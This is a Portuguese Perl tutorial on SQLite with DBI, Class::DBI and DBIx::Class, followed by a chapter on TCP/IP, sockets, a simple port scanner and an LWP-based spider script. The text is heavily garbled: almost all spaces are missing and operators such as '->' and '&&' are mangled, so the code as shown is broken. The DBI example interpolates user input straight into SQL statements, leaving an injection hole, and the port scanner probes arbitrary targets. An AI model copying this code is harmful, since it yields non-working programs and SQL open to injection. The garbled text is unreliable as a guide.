#".readcoisas.sql"executacomandosSQLdeumarquivo
#Comando".modecolumn"mudaomododeexibicaoparacolunas
##############################################################
############COMANDOSSQL
#Listardadosdeumadeterminadatabela
#tambempodemosusar"limit"paralimitarnossabusca"limit2"
SELECT*FROMnome_tabela
SELECT*FROMnome_tabelalimit5
#listardoisvaloresdeumadeterminadatabela
SELECTnome,telFROMtabela;
#listardadosemordemalfabetica
SELECTnome,telFROMagendaORDERBYnome;
#listardadosbaseadoemumapalavra
SELECTnomeFROMagendaWHEREnomeLIKE'discoteca%';
#Criarumatabelaedeterminardadosparaseremarmazenados
createtablet1(t1keyINTEGERPRIMARYKEY,dataTEXT,numDOUBLE,
timeEventDATE);
#Ouquetal
CREATETABLEnome_tabela(
nomeVARCHAR(50),
telefoneVARCHAR(10)#alfanumericoscomat10caracteres
cepINT(8)#numeroscomateh8digitos
);
#Deletarumatabela
DROPTABLEnome_tabela

#inserirdadonatabela
INSERTINTOt1(data,num)VALUES('Isto'eumexemplodetexto',3);
#ouinserindodeformasimples
INSERTINTOnome_tabelaVALUES("teste")"
#inserindodoisdados
INSERTINTOagenda(nome,tel)VALUES('Bombeiros','193');
#removerumdeterminadodadonatabela
DELETEFROMnome_tabelaWHEREnome="teste";

Agoraquejabrincamoscomnosso"SQLite"ejatemosumanoodeSQLclaroque
bomvocdarumaestudadatambemALAGOOGLE!porqueSQLmuitacoisamesmo
massenosabertudorelaxquetemumasoluolanofinaldoartigoentocontinue.
MascomousarBancosSQLnoPerl?
ParatalfeitopodemosusaroModulo"DBI"e"Class::DBI"
bem modulo DBI a raiz dos outros mdulos de banco de dados inclusive do
"Class::DBI"noCPANseresumeembaixaroseudriverejaconectarnobancodedados
Nonossocasocomoqueremosconectarno"SQLite"vamosusarodriver"DBD::SQLite"
instalamoselepeloShelldoCPANmesmo,usuriosdajanelinhavoterqueusarum
packagemanager...

vamoscontinuar,instaladoosmdulos"DBI"e"DBD::SQLite"vamosabrirobanco
epreparareleparanossoprograma
#SQlite3banco.db
>CREATETABLEcadastro(
>nomeVARCHAR(50),
>);
>.q
depoiscrieoprogramanamesmapastaexemplo"banco.pl"
#!/usr/bin/perl
#ChamamosoMdulo
useDBI;
################Banner
inicio:print`clear`;
logo();

chomp(my$escolha=<STDIN>);
#ConectandonoSQLite
my$dbh=DBI>connect("dbi:SQLite:dbname=banco.db");
if($escolhaeq"1"){
print"digitenomedodadoparainserir\n";
chomp(my$dado=<STDIN>);
#dandocomandonobancomuitocuidadobomtrataravariaveldoclientecomregexantesd
eexecutar;)
$dbh>do("INSERTINTOcadastroVALUES(\"$dado\")");
print"dadoinseridocomsucesso\n";
gotoinicio;
}
if($escolhaeq"2"){
print"digitenomedodadopararemover\n";
chomp(my$dado=<STDIN>);
$dbh>do("DELETEFROMnomecadastroWHEREnome=\"$dado\"");
print"dadoremovidocomsucesso\n";
gotoinicio;
}
if($escolhaeq"3"){
print"listandotabela\n";
my$sth=$dbh>prepare("SELECT*FROMcadastro");
$sth>execute();
while(($name)=$sth>fetchrow_array){
print"$name\n";
}
$sth>finish();
sleep5;
print"Comandoexecutadocomsuesso\n";
gotoinicio;
}
if($escolhaeq"4"){
#Desconectandodobanco
$dbh>disconnect;exit;}
sublogo(){
printq{
++
|SQLiteDBAgenda0.1|
||
|1Inserirdadoemumatabela|
|2Removerdadodeumatabela|
|3Listardadosdeumatabela|
|4Sair|
++
byC00L3R
Escolhaumnumero
}}

OExemplonoestmuitobomuseigotocomandodepssimoabtomaisfoimaispara
explicarofuncionamentodomduloDBI.
sevoctemdificuldadecomcomandosSQL
vocpodetentarusaro"CLass::DBI"voudarumexemplomasantescrieatabelano

nosso"banco.db"
#SQlite3banco.db
>CREATETABLEagenda(
>nomeVARCHAR(50),
>telefoneINT(20),
>cidadeVARCHAR(50)
>);
>.q
feitoissocrieumclass.pl
masantesinstaleomdulo"Class::DBI"peloCPANououtrolugar...
conteudodoarquivodevesereste
#!/usr/bin/perl
#CarregandoModulos
usestrict;
useClass::DBI;
inicio:print`clear`;
print<<EOF;
ByC00L3R
++
|AgendaEletronicaUsandoClassDBIeSQLite|
||
|1Inserircadastro|
|2Removercadastro|
|3Listarcadastros|
|4Procurarcadastro|
|5Sairdoprograma|
++
digiteumnumero
EOF
chomp(my$escolha=<STDIN>);
#definindoobjetosconectandonatablelaenobanco
packageAgenda;
usebaseqw(Class::DBI::SQLite);
__PACKAGE__>set_db('Main','dbi:SQLite:dbname=banco.db','','');
__PACKAGE__>table('agenda');
__PACKAGE__>columns(All=>qw/nometelefonecidade/);
if($escolhaeq"1"){
print"digiteumnome\n";chomp(my$nome=<STDIN>);
print"digiteumtelefone\n";chomp(my$telefone=<STDIN>);
print"digiteumcidade\n";chomp(my$cidade=<STDIN>);
#inserindodadosnemprecisamanjarSQLolhasquebeleza
my$agenda=Agenda>insert({
nome=>"$nome",
telefone=>"$telefone",
cidade=>"$cidade",
});
gotoinicio;
}
if($escolhaeq"2"){
print"digiteumnomeparadeletardalista\n";chomp(my$nome=<STDIN>);
Agenda>search(nome=>"$nome")>delete_all;

gotoinicio;
}
if($escolhaeq"3"){
formy$cadastro(Agenda>retrieve_all){
print "\n", $cadastro>nome,"\n",$cadastro>telefone,"\n",$cadastro
>cidade,"\n";
}
sleep6;gotoinicio;
}
if($escolhaeq"4"){
print"digiteumnomeparaprocurarnaagenda\n";chomp(my$nome=<STDIN>);
my@agenda=Agenda>search(nome=>"$nome");
foreachmy$cadastro(@agenda){
print "\n", $cadastro>nome,"\n",$cadastro>telefone,"\n",$cadastro
>cidade,"\n";
}
sleep4;gotoinicio;
}
if($escolhaeq"5"){exit;}

Nestasimplesagendavimosque"CLass::DBI"podesermuitomaissimplesqueousodo
mdulo "DBI" e para quem no domina SQL pode ser uma grande opo usar
"Class::DBI" para ver mais comandos deste mdulo de comando "perldoc Class::DBI"
tarefasavanadaspodemosfazercomambosmasvaidecadaum.
Bem "DB_FIle","CLass::DBI" e "DBI" so maravilhosos mdulos para trabalhar com
BancosemPerlcabeavocescolheromelhorparavocoutrosexemplosdeDBIvoc
podedarocomando"perldocDBI"paraveradocumentao..
EsteltimoexemplofoibemdiretomaisumavezacabeiusandoGOTOhehehe
maiseviteusarnesteprogramanosseusprogramassinaldePOGousejaprogramao
orientadaagambiarras,nocasoestesexemplostemgotoporquefizestesexemplos
muito tempo atrs quando estava iniciando meus estudos com Db no perl, chega de
conversafiadavoltamosaonossoestudoagoravamosusaroDBIxmdulomuitousado
poraquelesqueandamusandoFrameworkcatalystdoPerlemconjuntocomoTT,no
prximoexemplovamosfazerumaagendausandoomesmoparaexplicaroseuuso...
vamosfazerofeito,primeiroprecisamoscriarastabelas
CREATE TABLE agenda (
nome VARCHAR(50),
telefone INT(10),
cidade VARCHAR(50)
);

add num banco chamado example.db dentro duma pasta chamada DB timo temos
nosso banco criamos um diretrio com nome MyDatabase dentro desde diretrio
criamosMain.pmcomcontedo
package MyDatabase::Main;
use base qw/DBIx::Class::Schema/;
__PACKAGE__->load_classes(qw/agenda/);
1;

feitoissocriamosoutrapastacomnomeMainedentrodestapastacriamosoarquivo

agenda.pmcontendodadosdastabelas
package MyDatabase::Main::agenda;
use base qw/DBIx::Class/;
__PACKAGE__->load_components(qw/PK::Auto Core/);
__PACKAGE__->table('agenda');
__PACKAGE__->add_columns(qw/ nome telefone cidade /);
1;

timovolteparapastainicialondetemoDBeoMyDatabasecrieumaarquivochamado
agenda.plcomcontedo
#!/usr/bin/perlw
#http://search.cpan.org/~ash/DBIxClass0.08010/lib/DBIx/Class/Manual/Intro.pod#It
%27s_all_about_the_ResultSet
useMyDatabase::Main;

my$schema=MyDatabase::Main>connect('dbi:SQLite:db/example.db');
Inicio:
mostra();
my@all=$schema>resultset('agenda')>all;
my$all=$schema>resultset('agenda');
print"totaldecadastros$alln";

print"digiteonumerodaopon";
chomp($escolha=<STDIN>);
if(!!$escolha){

#######buscasimples
if($escolhaeq"4"){
print"digiteoquebuscarn";chomp($busca1=<STDIN>);
my$rs=$schema>resultset('agenda')>search(
{nome=>"$busca1"}
);
while(my$track=$rs>next){
my$nome=$track>nome;my$tel=$track>telefone;my$local=$track>cidade;
print"$nome$tel$localn";
}
gotoInicio;
}
#######listandolistadenomes
if($escolhaeq"3"){
my$rd=$schema>resultset('agenda');
while(my$track=$rd>next){
my$nome=$track>nome;my$tel=$track>telefone;my$local=$track>cidade;
print"$nome$tel$localn";
}
sleep2;
gotoInicio;
}
#######addcadastro
if($escolhaeq"1"){
print"digiteumnomen";chomp($nome=<STDIN>);

print"digiteotelefonen";chomp($telefone=<STDIN>);
print"digiteacidaden";chomp($cidade=<STDIN>);
if((!!$nome)&#038;&#038;(!!$telefone)&#038;&#038;(!!$cidade)){
my$novo=$schema>resultset('agenda')>new(
{nome=>"$nome",telefone=>"$telefone",cidade=>"$cidade"});
$novo>insert;
}
gotoInicio;
}
######removercadastro
if($escolhaeq"2"){
print"digiteumnomepararemoverdaagendan";chomp($nome=<STDIN>);
$schema>resultset('agenda')>search({nome=>"$nome"})>delete;
gotoInicio;
}

if($escolhaeq"5"){exit;}

}
submostra{
print"
ByCooler
||
|AgendacomSQLiteeDBIx::CLass|
||
|1adicionarcadastro|
|2removercadastro|
|3listarcadastros|
|4procurarcadastro|
|5sair|
||
";
}

pararodarperlagenda.plprontovoctemumaagendacomDBIx::Classmais
informaesvidenoCPANissosfoiumareceitasimplesdecomopodeserusadoeste
mdulo...
linksobremaisinformaesdomdulo
http://search.cpan.org/~ash/DBIxClass0.08010/lib/DBIx/Class.pm
estecaptuloobviamentedeveterdeixadovocleitorloucocomtantainformaono
espereaprenderdeumdiaparaooutrotentepraticartodososexemplos.Praticamente
osmdulosnestecapitulousadossoutilizadospormuitosdesenvolvedoresdePerl
tantoqueoDBIxclassusadopormuitosemconjuntocomframeworkcatalyst...

Capitulo7
________________________________________________________

Sockets,spiderseircbotsemPerl

Faaoquetuqueres,poistudonalei

RaulSeixas
Sockets
antesdepartirproRockvamosumaleveintroduoaoTCP/IP
TCP/IP(TRANSMISSIONCONTROLPROTOCOL/INTERNETPROTOCOL)umpadrode
comunicaoquereneumconjuntodeprotocolostaiscomotcp,ip,ftp(filetranferprotocol),
telnet,icmp,arpenfs.
AsinformaesquetrafegamnaredenecessitamdoTCP/IP,porissoeleutilizadocomo
protocoloprimriodaredenainternet.Esteprotocolofoidivididoemcamadasbemdefinidas,
cadaumarealizandosuapartenatarefadecomunicao(aplicao,transporte,rede,efsico).
Estemodelotemaseguintevantagem:porterosprocessosdecomunicaobemdefinidose
divididosemcadacamada,qualqueralteraopoderserfeitaisoladamente,noprecisando
reescrevertodooprotocolo.
OTCP/IPtemcomoprincipalcaractersticaatransmissodedadosemmquinasquediferem
emsuasarquiteturas.
EstassoascamadasquecompemomodeloTCP/IP.
Aplicao,Transporte,RedeeFsico
vouexplicarcadaumadelas
APLICAO
Nestacamadasonecessriosprotocolosdetransporteparagarantirofuncionamentodas
aplicaesreais(DNS,WWW,SMTP,POP,NFS,FTP).
Estacamadatrabalhacomaportaaqualestaligadaaaplicao.Ex:FTP(porta21),HTTP
(porta80),Telnet(porta23),etc.
TRANSPORTE
UtilizadoisprotocolosparaacomunicaoHosttoHost(TCP/UDP).Estacamadatambmtem
comofunoorganizarecontrolarofluxodedadostransmitidosparaqueoprotocolonose
percanomeiodetantospacotes.
REDE
AcamadachamadaderedeouInternet,temcomoprincipalfunodirecionarosdadosaosseus
respectivosendereos.Estacaractersticachamadaderoteamento,quetambmtemcomo
vantagemevitarocongestionamentodarede,poistrabalhacomendereoIPdeorigemedestino.
FSICA
Estacamadaestcomoseufuncionamentobaseadonaplacaderede,quedependendo
domeioemqueestfuncionandotrabalharcomdiferentespadres.
continuando
voltandoaotermoTCPoprocessodeaplicaotransmiteseusdados,detamanhovarivel,
fazendochamadasaoTCPaoTCPcabeafragmentaodestesdados,formandoossegmentos
segmentossounidadesdetransfernciadedadosdoprotocoloTCPatrocadesegmentosserve

paraestabelecerconexo,transferirdados,etc

vamosentenderalgunscamposdesegmentoTCP
Offset:(4bits)tamanhodoheaderTCP
Reserved:(6bits)reservadop/usofuturo
Flags:(6bits)
URG:sinalizaumserviourgente
ACK:enviodeumaconfirmaovlidanocabealho
PSH:entregadedadosurgenteaplicao,s/bufferizao
RST:resetaraconexo
SYN:sincronizaronodeseqncia
FIN:encerramentodaconexo
PessoalquejbrincoucomNmapefirewallssabemuitobemoquesoestasflags...
umexemplodecasodeuso

AgorajquetemosumalevebasedeTCPvamosparaUDP
UDPseriauserDatagramprotocoousejapermitequeaaplicaoescrevaum

datagramaencapsuladonumpacoteIPv4ouIPv6,eentoenviadoaodestino.Masno
hqualquertipodegarantiaqueopacoteirchegarouno.Nemchegaaserconfivel
maisbomsabersuafuno
tambmdizemosqueoUDPumserviosemconexo,poisnohnecessidadede
manterumrelacionamentolongoentreclienteeoservidor.Assim,umclienteUDPpode
criarumsocket,enviarumdatagramaparaumservidoreimediatamenteenviaroutro
datagramacomomesmosocketparaumservidordiferente.Damesmaforma,um
servidorpoderialerdatagramasvindosdediversosclientes,usandoumnicosocket.
AdiferenabsicaentreoUDPeoTCPofatodequeoTCPumprotocoloorientadoconexo
e,portanto,incluivriosmecanismosparainiciar,mantereencerraracomunicao,negociar
tamanhosdepacotes,detectarecorrigirerros,evitarcongestionamentodofluxoepermitira

retransmissodepacotescorrompidos,independentedaqualidadedomeiofsico.

AgorafaltouexplicaroqueIP,deveriaterexplicadoprimeiro...
IPumacrnimoparaaexpressoinglesa"InternetProtocol"(ouProtocolodeInternet),que
umprotocolousadoentreduasoumaismquinasemredeparaencaminhamentodosdados.
OsdadosnumaredeIPsoenviadosemblocosreferidoscomopacotesoudatagramas(ostermos
sobasicamentesinnimosnoIP,sendousadosparaosdadosemdiferenteslocaisnascamadas
IP).Emparticular,noIPnenhumadefinionecessriaantesdohosttentarenviarpacotespara
umhostcomoqualnocomunicoupreviamente.
OIPofereceumserviodedatagramasnoconfivel(tambmchamadodemelhoresforo);ou
seja,opacotevemquasesemgarantias.Opacotepodechegardesordenado(comparadocom
outrospacotesenviadosentreosmesmoshosts),tambmpodemchegarduplicados,oupodemser
perdidosporinteiro.Seaaplicaoprecisadeconfiabilidade,estaadicionadanacamadade
transporte.
Bemjestaexplicadoobsicodetcp/ip,agoravamosparaoquenosimportarealmenteneste
captulo.
Socketsoque?
Especificamenteemcomputao,umsoquetepodeserusadoemligaesderedesde
computadoresparaumfimdeumelobidirecionaldecomunicaoentredoisprogramas.A
interfacepadronizadadesoquetessurgiuoriginalmentenosistemaoperacionalUnixBSD
(BerkeleySoftwareDistribution);portanto,elessomuitasvezeschamadosdeBerkeleySockets.
tambmumaabstraocomputacionalquemapeiadiretamenteaumaportadetransporte(TCP
ouUDP)emaisumendereoderede.Comesseconceitopossvelidentificarunicamenteum
aplicativoouservidornarededecomunicaoIP.Issosegundowikipdiamasvamosaalgo
concreto...
*UmsocketidentificaunivocamenteumusurioTCP
*Permiteaassociaoentreprocessosdeaplicao
*OidentificadordaportaconcatenadoaoendereoIP,ondeaentidadeTCPestrodando,
definindoumsocket

ExemploprticocomPerl
VamosusarSocketsparacomunicarduasmquinas,tentetestarnasuarede
vamoslanamquinaqueirseroClientedeixeocdigo...
#!/usr/bin/perl
useIO::Socket;

#criamosoconstructordasocketcominstancia"new"eumahash
#peeraddr=endereoipdamaquina
#peerport=portaaserusada
#ordie=casodealgumerronaconexo
$socket=IO::Socket::INET>new(PeerAddr=>"192.168.0.182",
PeerPort=>"666",
Proto=>"tcp",
Type=>SOCK_STREAM)
ordie"naofoipossivelconectar$remote_host:$remote_port:$@\n";
#comunicaasaida"tudobem"pelosocket
print$socket"tudobem?\n";

$answer=<$socket>;
#fechaconexo
close($socket);

perfeitojtemosnossocliente.plagoravamosfazeroservidorparareceberosdadosobjetivo
destedadoreceberaconexodeumclientepedirparaqueomesmodigiteumnmeroe
mostraronmeroescolhidocoisasimples...
#!/usr/bin/perl
useIO::Socket;

$server=IO::Socket::INET>new(LocalPort=>666,
Type=>SOCK_STREAM,
Reuse=>1,
Listen=>10)#orSOMAXCONN
ordie"naofoipossivelconectarem666:$@\n";

while($client=$server>accept()){
#impriminocomputadordocliente
print$client"funcionoclienteconectadonoserver\n";
print"funcionouserverconectadoaocliente\n";
print$client"medeumnumero\n";
chomp($num=<$client>);
print"clientedigitounumero$num\n";
}

close($server);

prontoterminamosnossoexemplodeservidorsequisertestaresteexemplodeservidorvaiuma
dica,casoestejaemumsistematipoUnixdeocomandonoterminal

namaquinadoservidor
sudo./server.ploupodefazersudepoisperlserver...
vaificarnaescutasetudodercerto

agoranamquinadocliente
ncip_maquina_server666
funcionoclienteconectadonoserver
medeumnumero

clientedigitanmeroparaoserverpegarentrada
2

agoranamaquinadosservidorvidesuarespostanoterminalqueestavaemescuta
funcionouserverconectadoaocliente
clientedigitounumero2

aquiemcasatesteicomduasmquinasetambmtesteicomumasusandolocalhoste2
terminais,tudoperfeito...

maisinformaosobreomdulodesocketusadoaquivideCPAN

http://search.cpan.org/~gbarr/IO1.25/lib/IO/Socket.pm

Vocleitordeveterficadofelizcomnossoexemploprticofazerdoiscomputadoressecomunicar
comsocketslogonoprimeiroexemplo,maisalegriacontinuapoisexemplosprticosvo
continuaratona,temmuitacoisaparaargumentar...

Exemplosprticostemumimpactomuitomaiordoquetericosemprogramaopoisobrigavoc
leitoratestarosexemplos,assimfazendomemorizarcadapassoparatalfeito...

PrximoexemploumVerificadordeportasabertasemserviosemoutraspalavrasumsimples
portscanquandofalamosdesocketpopularverestetipodeexemploaseguir
#!/usr/bin/perl
useIO::Socket;
print"qualheoalvo\?\n";
my$alvos=<STDIN>;chomp$alvos;
print"qualsaoasportas\?ex:80,21,22\n";
my$portas=<STDIN>;chomp$portas;
my@array=split(/\,/,$portas);#organizadadospegosemandavetor
foreach$portas(@array){
my$socket=IO::Socket::INET>new(PeerAddr=>$alvos,
PeerPort=>$portas,
Proto=>'tcp')
orgotoFIM;
print"porta$portasAberta\n";
FIM:}
aiestanossocdigodosimplesscanerdeportasbemvamostestarelevoutestarcomnmap
paraverasportasquetenhoabertasedepoispassarnossoprogramaparaconfirmar.
cooler@gnu:~/Perl/socket$nmaplocalhost
StartingNmap4.62(http://nmap.org)at2009070511:10BRT
Interestingportsonlocalhost(127.0.0.1):
Notshown:1709closedports
PORTSTATESERVICE
25/tcpopensmtp
80/tcpopenhttp
139/tcpopennetbiosssn
445/tcpopenmicrosoftds
631/tcpopenipp
3306/tcpopenmysql
Nmapdone:1IPaddress(1hostup)scannedin0.193seconds
cooler@gnu:~/Perl/socket$perlscanport
qualheoalvo?

localhost
qualsaoasportas?ex:80,21,22
80,25,33
porta80Aberta
porta25Aberta

Aiestamaisumexemplodeusodomesmocontinuandoorockandroll,vamostentardarmais
umexemploprticonaseguintesituao,SeuprogramaprecisaentrarnumSiteepegarasource
deleemostrarcomosadadoprogramaasourcedapgina.
Parecesercomplicadomaisnateoriateremosqueconectarnaportadoservidorweb,geralmente
80ou8080epegardarumarequestepegarasadadoservidorqueserianossocdigofonte
estecdigofonteinterpretadopelonavegadorexemplofirefox,opera,safari...

parecesercomplicadomaisvamosaonossoprogramaparafazertaltarefa!
#!/usr/bin/perl
useIO::Socket;
print"qualpaginavoceiquerverinfo\?\n";
my$pagina=<STDIN>;chomp$pagina;
my$socket=IO::Socket::INET>new(
PeerAddr=>"$pagina",
PeerPort=>"80",
Timeout=>"7",
Proto=>"tcp"
);
die"Naofoipossivelcriarasocket\n"unless$socket;
if($socket){
print$socket"GET/index.htmlHTTP/1.0\r\n\r\n";
while(<$socket>){print"$_";}
my$ip=inet_ntoa(inet_aton($pagina));
print"IP:$ip\n";
close($socket);foreach(@resultado){print"$_";}}
vamostestarnossocdigo
cooler@gnu:~/Perl/socket$perlgetsource
qualpaginavoceiquerverinfo?
google.com.br
HTTP/1.0302Found

Location:http://www.google.com.br/index.html
CacheControl:private
ContentType:text/html;charset=UTF8
SetCookie:
PREF=ID=a6611982f7dd6882:TM=1246809468:LM=1246809468:S=R0PfMHXfslPgGs2;
expires=Tue,05Jul201115:57:48GMT;path=/;domain=.google.com
Date:Sun,05Jul200915:57:48GMT
Server:gws
ContentLength:232
<HTML><HEAD><metahttpequiv="contenttype"content="text/html;charset=utf8">
<TITLE>302Moved</TITLE></HEAD><BODY>
<H1>302Moved</H1>
Thedocumenthasmoved
<AHREF="http://www.google.com.br/index.html">here</A>.
</BODY></HTML>
IP:74.125.91.104
Bem funciono, porem o socket da muito trabalho no Perl agente tem um mdulo para estar
fazendo isso de uma maneira muito mais elegante e com muitas opes,Vamos usar agora o
mdulo chamado LWP para pegar informaes de uma determinada URL,veja por si a
diferena...
#!/usr/bin/perlio
useLWP;
#definimosaconfiguraodoUserAgent
my@config=(
#definimosobrowseresimulamosumwindows98
'UserAgent'=>'Mozilla/4.76[en](Win98;U)',
#definimosparaaceitarimagens
'Accept'=>'image/gif,image/xxbitmap,image/jpeg,image/pjpeg,image/png,*/*',
#tipodecharqueaceitamos
'AcceptCharset'=>'iso88591',
#padrodelinguagempodeserptBRetc...
'AcceptLanguage'=>'enUS',
);
#vardonossosite
$url="http://botecounix.com.br/blog";
#criamosumanovainstancia
$navegador=LWP::UserAgent>new;
my$resultado=$navegador>get($url,@config);
#pedimosoconteudoeatribuimosemumarray
@res=$resultado>content;
foreach(@res){
print"$_";
}
Aorodarmosnossoprogramaelenosretornaocdigofontedositebotecounix.com.br/blog
deformamaiselegantepossvel,bemissomuitotilquandoqueremosbuscarinformaes
paraumadeterminadatarefaemseuprograma,podemospegardadosdecatlogoscomoexemplo
atmesmopegardadosdabovespaegerargrficos,aquisuacriatividadequemcantadegalo.

BemseformosfalardomduloLWPdaparafazerumlivroaideumas200pginasestemundo
de robozinhos e spiders abre um leque de informao muito grande,recente mente fiz um
programaquetemfunesdeSpidercomumgostariadecompartilharcomvocleitor...

#!/usr/bin/perlio
#ProgramalicenaBSD
#autor:Antonio"Cooler_"
#ProgramatestadoemDebianLinuxeemumFreeBSD
#######################################################
##damosloadnosmodulos
useLWP::UserAgent;
##vamosusarmodulodotwitterparafazerAUTHePostarseforfazerissocomLWP
##dariamuitotrabalhoteriaqueusarcookiesjareSSL
useNet::Twitter;
##modulodowikipedianosretornaresultadosdowikipediaassimevitamosmuitaregex
useWWW::Wikipedia;
##moduloWhoisnosretornawhoisapartirdeumDNSdeumapgina
useNet::Whois::Raw;
##paradigmaseesquemaparalimparacache...
usestrict;$|++;
usewarnings;
###iniciamosoesquemadeesperaporPIPEgiratrio
my$final_data=undef;
my$counter;my@animation=("\\","|","/","");
&programa();
###funodospiderquepegadadosdeumapagina
subspyder(){
unlink("resposta.txt");
my@page=@_;my$site=$page[0];my$ua=newLWP::UserAgent;
$ua>agent('Mozilla/5.0 (X11; U; NetBSD i386; enUS; rv:1.8.1.12) Gecko/20080301
Firefox/2.0.0.12');
my$pedido1=newHTTP::RequestGET=>"$site";
my $resposta1 = $ua>request($pedido1) or die "Erro no site scanner\n"; my $res1 =
$resposta1>content;
open(OUT,">>resposta.txt");printOUT"$res1\n";close(OUT);
}
##regexparaextrairdadosdeumapginaRSS
subRssRegex(){
open(OUT,"<resposta.txt");
foreach(<OUT>){
if($_=~m/<(title)>(.*?)<\/(title)>/){my$nova="$2";print"Titulo:$nova\n";}
if($_=~m/<(link)>(.*?)<\/(link)>/){

my

$nova="$2";

print

$nova\n========================================\n";}
}
closeOUT;
}
##escrevendoarquivobinriodovideoyoutube
subwritebin{
my($data,$response,$protocol)=@_;

"Link:

my$final_data.=$data;
print"$animation[$counter++]\b";
$counter=0if$counter==scalar(@animation);
printIN$data;
}
##funopararetornarnomenu
subretorna(){
print"precionequalquerenterpararetornaraoMenu\n";
while(<STDIN>){
if($_=~/.*/){print"OK\nretornandoaomenu\n";sleep1;programa();}
}
}
##funolimpaatela
sublimpa(){
my$cmd=0;my$sys="$^O";
if($syseq"linux"){$cmd="clear";}else{$cmd="cls";}
print`$cmd`;
}
##funopegaescolhadousurio
subentrada(){
while(<STDIN>){
if($_=~/[08]{1}/){return($_);}
print"digitenumerodeopovlida\n";
}
}
##funomostrapergunta
subquestion(){
printq{
Oquedesejafazer?
digiteumnumeroparaescolher...

0Sairdoprograma
1MandarMSGdodianoseutwitter
2VerTwitterdealguem
3VernewsdoBotecoUnix
4VernovidadesdeExploitsnoMilw0rm
5Procurarnowikipediaporalgumapalavra
6VerWhoisdealgumdominio
7BaixarvideosdoYoutube
8VerTemperaturadotempoemcidadesBrasileiras

}
}
##nossobannerinicialdoprograma
subheader(){
printq{
SIMPLE
_______
/_/______\|______|/\|
\_\.\\//./._\|`_/\_\\\//_/
/___/_/\/\___\___\|_|.'/()\`.
|_\/_/\\//
______________________
||/____/_\/_\|||___\|__\

||____||||||||||__)||__)|
|'_\|||||||||||||||__<|_/
||_)||_||||___||_|||_|||_______)||\\
|_.__/\__,|\_____\___/\___/|______|____/|_|\_\
__/|
|___/Version0.1

==========================================================================
=
CodedBy/C00L3R||Cooler_/
Thanks_MLK_,dr4k3,Colt7r,voidpointerandAllPerlMonks
==========================================================================
=
http://BotecoUnix.com.br
}
}
##programapropriamentedito
subprograma(){
limpa();header();sleep1;question();sleep1;
chomp(my$escolha=entrada());
print"vocedigitou$escolhaOK\n";
if(!$escolha){print"saindodoSpyder\n";sleep1;limpa();unlink("resposta.txt");exit;}
if($escolhaeq1){
print"1MandarMSGdodianoseutwitter\n";
print"qualseuIDnotwitter?\n";chomp(my$id=<STDIN>);
print"qualseuPASSnotwitter?\n";chomp(my$pass=<STDIN>);
print"Digiteoquevocestafazendo?\n";chomp(my$texto=<STDIN>);
print"enviandocasonoforporquesuasenhaestaerrada...\n";
#vejacomofacilpegamosentradasdousurioeagorasumpocodePOO
my$twit=Net::Twitter>new({username=>$id,password=>$pass});
my$result=$twit>update({status=>$texto});retorna();
}
if($escolhaeq2){
print"2VerTwitterdealguem\n";
print"digiteonickdotwitterparaver\n";chomp(my$nick=<STDIN>);
my$target="http://twitter.com/".$nick;print"visitando$target\n";&spyder($target);
open(OUT,"<resposta.txt");
foreach(<OUT>){
#pegamoslinkdotwittereonick...
if($_=~m/<metacontent=\"(.*?)\"name=\"description\"\/>/){
my$bio="$1";print"nick:$nickbio:$bio\n";
}
#mostramosasmsgdoRSS
if ($_ =~ m/<link rel=\"alternate\" href=\"(.*?)\" title=\"unixwarrior's Updates\"
type=\"application\/rss\+xml\"\/>/){
my $rss="$1"; print "vendo o RSS $rss\n"; &spyder($rss); close OUT; RssRegex();
retorna();
}
}
}
##usandofunesePOOvejacomonossocdigoficapegueno
if($escolhaeq3){
print"3VernewsdoBotecoUnix\n";
my$target="http://www.botecounix.com.br/blog/?feed=rss2";
print"VendoUltimosPostsdoBotecoUnix\n";&spyder($target);RssRegex();retorna();

if($escolhaeq4){
print"4VernovidadesdeExploitsnoMilw0rm\n";
my$target="http://milw0rm.com/rss.php";
print"VendoUltimosPostsdoMilw0rm\n";&spyder($target);RssRegex();retorna();
}

##pegadadosdowikipedia
if($escolhaeq5){
print"5Procurarnowikipediaporalgumapalavra\n";
print"digiteumdadoparaprocurarnowikipedia\n";chomp(my$procura=<STDIN>);
##criamosumainstanciadefinimospara"PT"ousejawikipediaemportugues...
my$wiki=WWW::Wikipedia>new();
$wiki=WWW::Wikipedia>new(language=>'pt');
my$result=$wiki>search($procura);
if($result>text()){print$result>text();}
retorna();
}

##aquinotemdificuldade
if($escolhaeq6){
print"6verWhoisdealgumdominio\n";
print"digitedominioporexemplosite.com.br\n";chomp(my$site=<STDIN>);
my$whois=whois($site);print$whois;
retorna();
}

##estapartedocdigofoibaseadonoprogramado"Colt7r"debaixarvideosdoyoutube
##poremsimplifiqueibemusandoregex,funesePOO
if($escolhaeq7){
print"7BaixarvideosdoYoutube\n";
print"qualolinkdovideo?\n";chomp(my$link=<STDIN>);&spyder($link);
open(RES,"<","resposta.txt");
my@texto=<RES>;close(RES);my$nome;
foreach(@texto){
if($_=~m/<title>(.*?)<\/title>/){$nome=$1;}
if($_=~/varfullscreenUrl=\'.*&video_id=([^&]+)&.*&t=([^&]+)&.*/){
my$url="http://www.youtube.com/get_video?video_id=".$1."&t=".$2;
$nome=~s//_/g;
my$filename=$nome.".flv";print"Downloadpodedemorar\nFazendoDownloadde
$filename";
open(IN,">$filename")ordie"$_\n";binmode(IN);
my$ua=LWP::UserAgent>new();
my$response=$ua>get($url,":content_cb"=>\&writebin,":read_size_hint"=>8192);
print"\n\nDownloadde\"$filename\"Concluido\n";
closeIN;retorna();
}
}
}

##cdigobacanaparatreinarusodeLWP+regex
if($escolhaeq8){
print"8VerTemperaturadotempoemcidadesBrasileiras\n";
print"Digitenomedacidadeparavertemperatura\ncidadedeveestarsemoacentoex:
saopaulo\n";
chomp(my$local=<STDIN>);$local=~s//_/g;
my$url="http://www1.folha.uol.com.br/folha/tempo/br$local.shtml";&spyder($url);
open(RES,"<","resposta.txt");

my@texto=<RES>;close(RES);
foreach(@texto){
if($_=~m/^<p><b>Temperatura:<\/b>(.*?)<\/p>/){
my$graus="$1";
print"Local:$local\n";
print"Temperatura:$graus\n\n";retorna();
}
}
}
}
bempararodaroprogramavejasevocinstalouosmdulosnecessriospararodareleouseja
vendoocdigovocpodeverosmdulosnecessrios...
useLWP::UserAgent;
useNet::Twitter;
useWWW::Wikipedia;
useNet::Whois::Raw;
Sevocleitorchegouataquiobviamentedevesaberoqueeuquisdizer...
evejasevocestaconectadonainternetpoisestetipodeprogramapegainformaesdaWeb
parafazersuastarefas...
bemtestamosnossoprogramado
perlprograma.plou./programa.pl
Vimosasescolhas
0Sairdoprograma
1MandarMSGdodianoseutwitter
